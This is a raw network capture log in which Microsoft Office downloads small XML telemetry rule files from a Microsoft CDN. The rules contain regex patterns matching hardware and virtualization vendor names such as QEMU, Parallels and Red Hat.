2024-10-23 19:04:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ee7a308c-c01e-00a1-620b-227e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190415Z-r1755647c66lljn2k9s29ch9ts00000008s0000000001qb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49802	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:15 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:15 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 44b67bbb-401e-0067-2250-2309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190415Z-17fbfdc98bb75b2fuh11781a0n0000000650000000002xdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:15 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49808	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:15 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 1c36e671-f01e-0096-085a-2310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190415Z-17fbfdc98bbcrtjhdvnfuyp28800000006d00000000010es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49811	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:15 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ac69ef67-e01e-001f-7714-221633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-r1755647c66zkj29xnfn2r3bwn00000005v0000000002rae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49809	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: fc76d5e5-a01e-003d-2e6c-2398d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-17fbfdc98bbcrtjhdvnfuyp2880000000670000000008yrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49812	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: e131a4b8-201e-005d-245d-23afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-17fbfdc98bbl89flqtm21qm6rn00000006ag000000002tr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49810	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ae9ee863-001e-000b-78d3-2015a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-r1755647c66ww2rh494kknq3r000000009h0000000000nd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49815	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 34547014-f01e-003f-75cc-20d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-r1755647c66gb86l6k27ha2m1c0000000780000000000r8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49816	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: ee1cea45-f01e-003f-5750-23d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-17fbfdc98bbg2mc9qrpn009kgs00000006e000000000016m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49818	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: ea95fade-601e-003e-6b5d-233248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-r1755647c66c9glmgg3prd89mn00000008k0000000009eds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49819	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 33ac99f4-801e-0015-0d56-23f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-17fbfdc98bbmh88pm95yr8cy5n000000057g000000001bbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49817	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:16 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:16 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 37f3176e-001e-0082-5159-235880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190416Z-17fbfdc98bbvf2fnx6t6w0g25n00000006600000000078dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49823	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
